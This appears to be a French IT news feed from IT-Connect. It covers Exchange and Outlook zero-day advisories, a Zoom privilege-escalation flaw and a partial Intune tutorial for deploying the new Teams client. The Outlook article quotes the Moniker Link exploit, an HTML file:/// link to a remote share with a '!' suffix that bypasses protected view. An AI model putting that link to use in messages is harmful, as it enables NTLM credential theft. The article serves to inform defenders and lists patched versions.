uri: Microsoft-Exchange-affecté-par-une-nouvelle-faille-zero-day-CVE-202
url: https://www.it-connect.fr/microsoft-exchange-une-nouvelle-faille-zero-day-cve-2024-21410/
content:
<p><strong>Microsoft a actualisé le bulletin de sécurité associé à la faille de sécurité CVE-2024-21410. La raison ? Il s'avère que cette vulnérabilité présente dans Exchange Server a été exploitée par les pirates en tant que faille zero-day avant qu'elle ne soit patchée. Faisons le point.</strong></p>



<p>La faille de sécurité CVE-2024-21410 est considérée comme étant critique puisqu'elle hérite d'un score CVSS v3.1 de 9.8 sur 10. Elle a été divulguée par Microsoft ce mardi 13 février 2024 à l'occasion de la sortie du nouveau Patch Tuesday.</p>



<ul>
<li><a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 failles de sécurité zero-day !">En savoir plus sur le Patch Tuesday de Février 2024</a></li>
</ul>



<p>En l'exploitant, un <strong>attaquant non authentifié</strong> peut<strong> élever ses privilèges</strong> en s'appuyant sur une <strong>attaque par relais NTLM</strong> ciblant un serveur Microsoft Exchange vulnérable. Cela signifie que l'attaquant va parvenir à s'authentifier auprès du serveur de messagerie en usurpant l'identité de l'utilisateur pris pour cible.</p>



<p>Sur <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21410" target="_blank" rel="noopener nofollow" title="">son site</a>, Microsoft explique : "<em>Un attaquant peut cibler un client NTLM tel qu'Outlook avec une vulnérabilité de type NTLM credentials-leaking. Les informations d'identification divulguées peuvent alors être relayées contre le serveur Exchange pour obtenir des privilèges en tant que client victime et effectuer des opérations sur le serveur Exchange au nom de la victime.</em>"</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Pour vous protéger, <strong>Microsoft a publié une nouvelle <em>cumulative update</em> pour Exchange Server 2019</strong> dont l'objectif est d'<strong>activer Exchange Extended Protection for Authentication (EPA)</strong>. Le fait d'activer cette fonctionnalité va vous <strong>protéger contre les attaques de type relais NTLM et man-in-the-middle</strong>, ce qui permet de bloquer les tentatives d'exploitation de cette vulnérabilité.</p>



<p>Sur Exchange Server 2019, le fait d'installer la mise à jour "<strong>Microsoft Exchange Server 2019 Cumulative Update 14</strong>" va permettre d'activer par défaut l'Extended Protection for Authentication, ce qui va vous protéger. Pour <strong>les versions plus anciennes</strong>, vous devez<strong> l'activer vous-même </strong>à l'aide d'un <strong>script</strong>. Mais attention, en fonction de l'usage qui est fait de l'Exchange Server, le fait d'<strong>activer cette fonctionnalité de sécurité peut avoir des effets de bords</strong>.</p>



<p>Voici des scripts utiles pour vous aider :</p>



<ul>
<li>Le script <a href="https://microsoft.github.io/CSS-Exchange/Diagnostics/HealthChecker/" target="_blank" rel="noopener nofollow" title="">Exchange Health Checker</a> va vous permettre d'obtenir l'état de l'EPA sur votre serveur Exchange</li>



<li>Le script <a href="https://microsoft.github.io/CSS-Exchange/Security/ExchangeExtendedProtectionManagement/" target="_blank" rel="noopener nofollow" title="">Exchange Extended Protection Management</a> va vous permettre d'activer ou désactiver la fonctionnalité sur votre serveur Exchange</li>
</ul>



<p><a href="https://www.bleepingcomputer.com/news/security/microsoft-new-critical-exchange-bug-exploited-as-zero-day/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/microsoft-exchange-une-nouvelle-faille-zero-day-cve-2024-21410/">Microsoft Exchange affecté par une nouvelle faille zero-day : CVE-2024-21410</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76291
title: Patchez Outlook : cette faille critique est particulièrement simple à exploiter (CVE-2024-21413)
uri: 2024-02-15-
url:
https://www.it-connect.fr/patchez-outlook-cette-faille-critique-est-particulierement-simple-a-exploiter-cve-2024-21413/

content:
<p><strong>Une nouvelle faille de sécurité présente dans Outlook mérite une attention particulière : déjà parce qu'elle est critique, mais aussi et surtout, parce qu'elle peut être exploitée de façon très simple par un attaquant non authentifié. Il va falloir s'en protéger rapidement. Faisons le point.</strong></p>



<p>À l'occasion du <a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 failles de sécurité zero-day !">Patch Tuesday de Février 2024</a>, Microsoft a corrigé un ensemble de vulnérabilités dans ses produits. Parmi elle, il y a une <strong>faille de sécurité critique </strong>qui affecte directement le client de messagerie Outlook et ses utilisateurs : <strong>CVE-2024-21413</strong>. En lisant la suite de cet article, vous comprendrez qu'elle sera surement <strong>utilisée dans le cadre de campagnes de phishing</strong>...</p>



<p>Tout d'abord, sachez que sur une machine vulnérable, c'est-à-dire avec un Outlook qui ne bénéficie pas du nouveau correctif de sécurité, <strong>cette faille de sécurité peut-être exploitée à l'aide d'un e-mail qui contiendrait un lien malveillant</strong>. Il suffit que l'utilisateur <strong>ouvre l'e-mail</strong> ou qu'il l'<strong>affiche via le panneau de prévisualisation</strong> pour que l'attaque se déclenche. <strong>Microsoft le précise de façon explicite dans son <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21413" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a><em> </em></strong><em>: "Le volet de prévisualisation est-il un vecteur d'attaque pour cette vulnérabilité ? Oui, le volet de prévisualisation est un vecteur d'attaque.</em>" - Le tout sans aucune interaction de la part de l'utilisateur, si ce n'est qu'il doit cliquer sur l'e-mail.</p>



<p>De plus, <strong>cette vulnérabilité permet d'outrepasser l'ouverture en mode protégé </strong>! En principe, cette fonctionnalité de sécurité est là pour "bloquer" le contenu malveillant ou externe, grâce à l'ouverture du fichier en lecture seule. Dans le cas présent, le fichier malveillant s'ouvrira en mode édition, ce qui signifie que tous ses composants internes seront chargés.</p>



<p>Pour finir, <strong>cette vulnérabilité offre la possibilité à l'attaquant d'élever ses privilèges</strong>. Microsoft précise : "<em>Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait obtenir des privilèges élevés, notamment des fonctionnalités de lecture, d'écriture et de suppression.</em>"</p>



<h2 class="wp-block-heading">Une vulnérabilité baptisée Moniker Link</h2>



<p>Cette faille de sécurité a été découverte par Haifei Li, chercheur en sécurité chez Check Point. Un <a href="https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/" target="_blank" rel="noopener nofollow" title="">rapport complet</a> a été mis en ligne sur le site de Check Point pour apporter des précisions techniques sur cette vulnérabilité baptisée <strong>Moniker Link</strong>.</p>



<p>La vulnérabilité Moniker Link est présente dans<strong> l'utilisation du protocole "file://" </strong>qui permet de faire appel à des ressources distantes, notamment des fichiers. Haifei Li explique pour exploiter cette vulnérabilité, le lien malveillant doit être conçu de cette façon :</p>



<pre class="wp-block-code"><code>&lt;a href="file:///\\10.10.111.111\test\test.rtf<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">!</mark></strong>something">CLICK ME&lt;/a></code></pre>



<p>En fait, il suffit de spécifier le chemin vers le fichier à charger, ici "\\10.10.111.111\test\test.rtf", d'indiquer <strong>un point d'exclamation</strong>, puis une chaine de caractères alératoires, comme ici "something". Le fait d'utiliser cette syntaxe va permettre de charger le fichier distant sans qu'Outlook n'émette le moindre avertissement. <strong>Le point d'exclamation fait toute la différence par rapport à l'écriture habituelle d'un lien.</strong></p>



<p>Le rapport précise : "<em>Un tel lien contournera la restriction de sécurité existante d'Outlook évoquée précédemment, et Outlook continuera d'accéder à la ressource distante "\10.10.111.111\test\test.rtf" lorsque l'utilisateur cliquera sur le lien.</em>"</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Après la lecture de la première partie de cet article, je pense que vous avez envie de vous protéger de cette vulnérabilité plutôt inquiétante. Tout d'abord, voici la liste des versions de Microsoft Office vulnérables :</p>



<ul>
<li>Microsoft 365 Apps for Enterprise </li>



<li>Microsoft Office 2021</li>



<li>Microsoft Office 2019</li>



<li>Microsoft Office 2016</li>
</ul>



<p>À chaque fois, les éditions 32 bits et 64 bits sont affectées. D'ailleurs, <strong>Microsoft a également mis en ligne des correctifs de sécurité pour Office 2016</strong>, preuve qu'il y a un risque important pour les utilisateurs et les organisations (<a href="https://support.microsoft.com/fr-fr/topic/description-of-the-security-update-for-office-2016-february-13-2024-kb5002537-d3ac74d2-d1e2-40b6-9fe4-7b2a1b0d77cc" target="_blank" rel="noopener nofollow" title="">voir cette page</a>).</p>



<p>Pour vous protéger, vous devez utiliser l'une de ces versions de Microsoft Office :</p>



<ul>
<li><strong>Office 2021</strong> : Version 2401 (Build 17231.20236)</li>



<li><strong>Office LTSC 2021</strong> : Version 2108 (Build 14332.20637)</li>



<li><strong>Office 2019</strong> : Version 2401 (Build 17231.20236)</li>



<li><strong>Office 2019 (Volume Licensed) </strong>: Version 1808 (Build 10407.20032)</li>



<li><strong>Office 2016</strong> : Version 2401 (Build 17231.20236)</li>
</ul>



<p>Pour Microsoft 365 Apps, voici la liste selon les différents canaux :</p>



<ul>
<li>Current Channel : Version 2401 (Build 17231.20236)</li>



<li>Monthly Enterprise Channel : Version 2312 (Build 17126.20190)</li>



<li>Monthly Enterprise Channel : Version 2311 (Build 17029.20178)</li>



<li>Semi-Annual Enterprise Channel (Preview) : Version 2308 (Build 16731.20550)</li>



<li>Semi-Annual Enterprise Channel : Version 2308 (Build 16731.20550)</li>



<li>Semi-Annual Enterprise Channel : Version 2302 (Build 16130.20916)</li>



<li>Semi-Annual Enterprise Channel : Version 2208 (Build 15601.20870)</li>
</ul>



<p>Ces informations sont disponibles sur <a href="https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cette page</a> du site Microsoft.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-critical-microsoft-outlook-rce-bug-is-trivial-to-exploit/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/patchez-outlook-cette-faille-critique-est-particulierement-simple-a-exploiter-cve-2024-21413/">Patchez Outlook : cette faille critique est particulièrement simple à exploiter (CVE-2024-21413)</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76295
title: Zoom a corrigé une faille de sécurité critique (CVE-2024-24691) dans ses applications Windows !
uri: Zoom-a-corrigé-une-faille-de-sécurité-critique-(CVE-2024-24691)-dan
url: https://www.it-connect.fr/zoom-faille-de-securite-critique-cve-2024-24691-applications-windows/
content:
<p><strong>Zoom a corrigé un ensemble de 7 vulnérabilités dans ses applications pour Windows, et l'une d'elles mérite une attention particulière : CVE-2024-24691. En effet, en l'exploitant, un attaquant non authentifié peut élever ses privilèges. Faisons le point.</strong></p>



<p>En quelques années, Zoom est devenu une solution de visioconférence très populaire, au même titre que Microsoft Teams, Google Meet, etc. L'équipe de sécurité offensive de Zoom a fait la découverte d'une nouvelle vulnérabilité critique : la <strong>CVE-2024-24691</strong>, associée à un <strong>score CVSS v3.1 de 9.6 sur 10</strong>. Un <a href="https://www.zoom.com/en/trust/security-bulletin/ZSB-24008/" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> a été mis en ligne pour cette vulnérabilité.</p>



<p><strong>Elle affecte plusieurs applications Windows proposées par Zoom </strong>: Zoom Desktop Client, Zoom VDI Client, Zoom Rooms Client, Zoom Meeting SDK. </p>



<p>Même si peu de détails sont fournis, nous savons qu'<strong>elle s'exploite à distance par l'intermédiaire du réseau</strong>, qu'elle est relativement facile à exploiter dans une attaque, et qu'elle nécessite une interaction de la part de l'utilisateur. Dans le cas présent, il pourrait s'agir de <strong>convaincre la victime d'ouvrir une pièce jointe malveillante ou de cliquer sur un lien malveillant</strong>.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Il faut savoir que cette vulnérabilité affecte de nombreuses versions des produits Zoom. </p>



<p>Voici la liste des <span style="text-decoration: underline;">versions affectées</span> et vulnérables :</p>



<ul>
<li><strong>Zoom Desktop Client pour Windows versions antérieures à 5.16.5</strong></li>



<li><strong>Zoom VDI Client pour Windows versions antérieures à 5.16.10 </strong>(sauf versions 5.14.14 et 5.15.12)</li>



<li><strong>Zoom Rooms Client pour Windows versions antérieures à 5.17.0</strong></li>



<li><strong>Zoom Meeting SDK pour Windows versions antérieures à 5.16.5</strong></li>
</ul>



<p>Pour vous protéger, vous devez utiliser l'une des versions mentionnées ci-dessus : 5.16.5, 5.16.10, 5.17.0, en fonction du produit.</p>



<h2 class="wp-block-heading">D'autres vulnérabilités corrigées par Zoom</h2>



<p>Sachez que Zoom a également mis en ligne des bulletins de sécurité pour <strong>6 autres failles de sécurité</strong>. Il ne s'agit pas de faille de sécurité critique, même s'il y en a une qui est associé à un niveau de criticité élevé. Voici les références CVE et les produits affectés :</p>



<ul>
<li><strong>CVE-2024-24690</strong> - Zoom Clients - Improper Input Validation</li>



<li><strong>CVE-2024-24699</strong> - Zoom Clients - Business Logic Error</li>



<li><strong>CVE-2024-24698</strong> - Zoom Clients - Improper Authentication</li>



<li><strong>CVE-2024-24697</strong> - Zoom Clients - Untrusted Search Path</li>



<li><strong>CVE-2024-24696</strong> - Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom Meeting SDK for Windows - Improper Input Validation</li>



<li><strong>CVE-2024-24695</strong> - Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom Meeting SDK for Windows - Improper Input Validation</li>
</ul>



<p>Vous pouvez retrouver toutes les informations en parcourant <a href="https://www.zoom.com/en/trust/security-bulletin/" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p>Mettez à jour dès que possible pour vous protéger.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/zoom-patches-critical-privilege-elevation-flaw-in-windows-apps/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/zoom-faille-de-securite-critique-cve-2024-24691-applications-windows/">Zoom a corrigé une faille de sécurité critique (CVE-2024-24691) dans ses applications Windows !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76119
title: Intune – Comment déployer le nouveau Teams sur Windows ?
uri: Intune-Comment-déployer-le-nouveau-Teams-sur-Windows
url: https://www.it-connect.fr/intune-comment-deployer-le-nouveau-teams-sur-windows/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à déployer le nouveau client Microsoft Teams pour Windows à l'aide d'une stratégie Intune. À compter du 31 mars 2024, Microsoft forcera l'utilisation du nouveau client Microsoft Teams, à la place de l'application Legacy qui est amenée à disparaitre.</strong></p>



<p>En tant qu'administrateur système, vous devez anticiper ce changement prévu par Microsoft et qui est détaillé sur cette page de la documentation :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/microsoftteams/teams-classic-client-end-of-availability?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - End of availability for classic Teams client </a></li>
</ul>



<p>Pour effectuer le<strong> déploiement en masse de la nouvelle application Microsoft Teams</strong>, nous allons suivre la recommandation de l'éditeur et utiliser l'installeur "<strong>teamsbootstrapper.exe</strong>". Il va permettre d'<strong>installer le nouveau Teams au niveau machine</strong>, ce qui profitera à tous les utilisateurs qui utilisent une machine. Autrement dit, ceci évite d'avoir une application Teams qui s'installe dans le profil de chaque utilisateur.</p>



<p>Pour utiliser cet exécutable avec Intune, nous allons devoir<strong> créer plusieurs scripts PowerShell</strong> et <strong>générer un package Intunewin</strong>. Pour plus d'informations sur cette méthodologie, suivez ce tutoriel :</p>



<ul>
<li><a href="https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-exe/" target="_blank" rel="noopener nofollow" title="">Comment déployer une application Win32 avec Intune ?</a></li>
</ul>



<h2 class="wp-block-heading">II. Préparer les sources d'installation</h2>



<h3 class="wp-block-heading">A. Les scripts PowerShell</h3>



<p>Pour réussir notre mission du jour, nous allons utiliser plusieurs scripts PowerShell pour répondre aux besoins d'Intune, à savoir fournir une commande d'installation et une commande de désinstallation, mais aussi pour la détection sur l'appareil (validation de l'installation).</p>



<ul>
<li><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">NewTeamsInstall.ps1</mark></strong> pour installer Teams à partir du teamsbootstrapper.exe</li>
</ul>



<p>Le script d'installation a pour objectif d'exécuter "<strong>teamsbootstrapper.exe</strong>" avec l'argument "<strong>-p</strong>" car il s'agit de celui qui permet d'effectuer une installation au niveau machine.</p>



<pre class="wp-block-code"><code>$teamsbootstrapperPath = ".\teamsbootstrapper.exe"
Start-Process -FilePath $teamsbootstrapperPath -ArgumentList "-p"</code></pre>



<p>Concrètement, ce script va exécuter la commande suivante :</p>



<pre class="wp-block-code"><code>teamsbootstrapper.exe -p</code></pre>



<p><strong>Cet exécutable va récupérer les sources d'installation de Microsoft Teams sur Internet.</strong> Sachez que l'option "<strong>-o</strong>" suivi d'un chemin local ou d'un chemin UNC permettra d'aller récupérer le package MSIX d'installation à un autre emplacement.</p>



<p><strong>Ce script d'installation ne s'occupe pas de désinstaller l'ancien client Microsoft Teams.</strong> Néanmoins, la documentation de Microsoft précise : "<em>Microsoft tentera de supprimer le client Teams classique en votre nom, mais si cette opération est bloquée ou empêchée par votre configuration ou vos politiques, il vous incombe de procéder vous-même à cette suppression</em>." - Cela signifie que le comportement du teamsbootstrapper.exe pourrait évoluer après le 31 mars 2024. </p>



<p>Même s'il n'est pas obligatoire de supprimer l'ancien client Teams, il est préférable de le faire pour des raisons de sécurité. Si vous souhaitez le faire avec PowerShell, il vous faudra un script plus complet (<a href="https://github.com/FlorianSLZ/scloud/blob/main/Program%20-%20win32/Microsoft%20Teams%20(new)/install.ps1" target="_blank" rel="noopener nofollow" title="">je vous recommande celui-ci</a>), car vous devez rechercher la présence de Teams dans tous les profils utilisateurs de chaque machine (puisque l'application peut s'installer dans chaque profil).</p>



<ul>
<li><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">NewTeamsUninstall.ps1</mark></strong> pour désinstaller Teams à partir du teamsbootstrapper.exe (<em>obligatoire lors de la création d'une application, même s'il n'est pas utilisé</em>)</li>
</ul>



<p>Le script de désinstallation a pour objectif d'exécuter "<strong>teamsbootstrapper.exe</strong>" avec l'argument "<strong>-x</strong>" car il s'agit de celui qui permet d'effectuer une installation au niveau machine.</p>



<pre class="wp-block-code"><code>$teamsbootstrapperPath = ".\teamsbootstrapper.exe"
Start-Process -FilePath $teamsbootstrapperPath -ArgumentList "-x"</code></pre>



<ul>
<li><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">NewTeamsDetection.ps1</mark></strong> pour détecter la présence du nouveau Teams sur la machine, en recherchant le répertoire d'installation</li>
</ul>



<p>Enfin, le script de détection va parcourir le répertoire "<strong>C:\Program Files\WindowsApps</strong>" à la recherche d'un répertoire nommé "<strong>MSTeams_&lt;ID&gt;</strong>". Le nom varie d'une machine à l'autre, donc nous devons utiliser un wildcard pour rechercher le répertoire par rapport au préfixe. </p>



<p>Nous retournerons "<strong>0</strong>" comme <strong>ExitCode </strong>si le <strong>répertoire est trouvé</strong>, ce qui est synonyme de <strong>succès</strong>. Dans le cas contraire, l'<strong>ExitCode</strong> retourné sera "<strong>1</strong>". En complément, un message est généré via <strong>Write-Host</strong> pour confirmer la détection du répertoire (ce message sera visible dans les logs d'IME).</p>



<pre class="wp-block-code"><code># Chemin vers l'installation du nouveau Teams
$NewTeamsPath = Get-ChildItem "C:\Program Files\WindowsApps" -Filter "MSTeams_*"

# Vérifier la présence du nouveau Teams et retourner un code d'état
if($NewTeamsPath){
    Write-Host "Le nouveau Teams est présent sur cet ordinateur !"
    exit 0
}else{
    exit 1
}</code></pre>



<p>En complément, voici le lien vers la documentation de l'installeur Teams :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/microsoftteams/new-teams-bulk-install-client?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Documentation sur teamsbootstrapper.exe</a></li>
</ul>



<h3 class="wp-block-heading">B. Générer le package intunewin</h3>



<p>Nous allons devoir générer un package "<strong>.intunewin</strong>" pour créer notre application. Pour cela, nous avons besoin :</p>



<ul>
<li>De l'outil Microsoft Win32 Content Prep Tool, que vous pouvez télécharger sur ce <a href="https://github.com/microsoft/Microsoft-Win32-Content-Prep-Tool" target="_blank" rel="noopener nofollow" title="">dépôt GitHub</a></li>



<li>De l'exécutable <strong>teamsbootstrapper.exe</strong>, que vous pouvez télécharger via <a href="https://go.microsoft.com/fwlink/?linkid=2243204&amp;clcid=0x409" target="_blank" rel="noopener nofollow" title="">ce lien</a></li>



<li>De nos scripts PowerShell</li>
</ul>



<p>En ce qui me concerne, j'ai créé le répertoire "<strong>C:\TEMP\SOFTWARE\NewTeam</strong>" et il contient ceci :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="158" src="media/5ae23ddc.Prerequis-Nouveau-Teams-pour-package-Intunewin.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin.png" alt="Prérequis Nouveau Teams pour package Intunewin" class="wp-image-76124" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin-550x109.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin-150x30.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin-768x152.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Prerequis-Nouveau-Teams-pour-package-Intunewin-50x10.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous allons packager ces fichiers dans un fichier Intunewin. Toutefois, il n'y a pas d'obligation à ajouter le script "<em>NewTeamsDetection.ps1</em>" dans ce package, car il sera chargé indépendamment dans l'interface d'administration d'Intune.</p>



<p>Ouvrez une console PowerShell et exécutez l'outil de packaging :</p>



<pre class="wp-block-code"><code>.\IntuneWinAppUtil.exe</code></pre>



<p>Ensuite, répondez aux différentes questions (en adaptant les valeurs pour qu'elles correspondent à votre environnement) :</p>



<ul>
<li><strong>Dossier source </strong>: C:\TEMP\SOFTWARE\NewTeam</li>



<li><strong>Fichier d'installation source</strong> : C:\TEMP\SOFTWARE\NewTeam\NewTeamsInstall.ps1</li>



<li><strong>Dossier de sortie (où stocker le package intunewin)</strong> : C:\TEMP\SOFTWARE\INTUNEWIN</li>



<li><strong>Dossier de catalogue</strong> : non</li>
</ul>



<p>Appuyez sur Entrée pour lancer le processus de packaging et patientez quelques secondes...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="600" src="media/df2654b4.Generer-package-Intunewin-pour-Teams.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams.png" alt="Générer package Intunewin pour Teams" class="wp-image-76122" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams-550x413.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams-150x113.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams-768x576.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Generer-package-Intunewin-pour-Teams-50x38.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, le fichier de sortie est créé :</p>



<pre class="wp-block-code"><code>C:\TEMP\SOFTWARE\INTUNEWIN\NewTeamsInstall.intunewin</code></pre>



<h2 class="wp-block-heading">III. Créer l'application Teams (New) dans Intune</h2>



<p>Désormais, nous allons créer l'application Teams à partir du portail Microsoft Intune. Cliquez sur "<strong>Applications</strong>", puis "<strong>Windows</strong>", et cliquez sur le bouton "<strong>Ajouter</strong>". Un panneau latéral va s'ouvrir, choisissez le type d'application "<strong>Application Windows (Win32)</strong>" et cliquez sur "<strong>Sélectionner</strong>".</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="372" src="media/aeb4e215.Intune-Creer-application-Teams-New-Etape-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1.jpg" alt="Intune - Créer application Teams (New) - Etape 1" class="wp-image-76130" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1-550x256.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1-150x70.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1-768x357.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-1-50x23.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Sélectionnez le package d'installation "<strong>NewTeamInstall.intunewin</strong>" généré précédemment.</p>



<h3 class="wp-block-heading">A. Informations sur l'application</h3>



<p>Désormais, il va falloir se laisser guider par l'assistant. Commencez par nommer cette application, le nom "<strong>Microsoft Teams (New)</strong>" me semble plutôt cohérent. Vous pouvez aussi indiquer une description afin de préciser que cette application s'appuie sur des scripts PowerShell.</p>



<p>Indiquez "<strong>Microsoft</strong>" en tant que "<strong>Editeur</strong>" et poursuivez.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="901" src="media/2a14a18f.Intune-Creer-application-Teams-New-Etape-2-Parametres.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres.png" alt="Intune - Créer application Teams (New) - Etape 2 - Paramètres" class="wp-image-76134" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres-550x619.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres-133x150.png 133w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres-768x865.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-2-Parametres-44x50.png 44w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Programme</h3>



<p>L'étape "<strong>Programme</strong>" se présente à vous. Ici, vous devez déclarer les commandes d'installation et de désinstallation. Vous allez pouvoir indiquer à Intune qu'il doit exécuter les scripts PowerShell, par l'intermédiaire d'Intune Management Extension. </p>



<p>Voici les valeurs à ajouter :</p>



<ul>
<li><strong>Commande d'installation</strong></li>
</ul>



<pre class="wp-block-code"><code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -Command .\<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">NewTeamsInstall.ps1</mark></strong></code></pre>



<ul>
<li><strong>Commande de désinstallation</strong></li>
</ul>



<pre class="wp-block-code"><code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -Command .\<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">NewTeamsUninstall.ps1</mark></strong></code></pre>



<p>Puis, choisissez "<strong>Système</strong>" pour l'option "<strong>Comportement à l'installation</strong>" puisque nous voulons installer cette application pour tous les utilisateurs de la machine (ceci implique d'avoir des privilèges élevés).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="680" src="media/98dce39e.Intune-Creer-application-Teams-New-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3.png" alt="Intune - Créer application Teams (New) - Etape 3" class="wp-image-76128" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3-550x468.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3-150x128.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3-768x653.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-3-50x43.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Poursuivez.</p>



<h3 class="wp-block-heading">C. Exigences</h3>



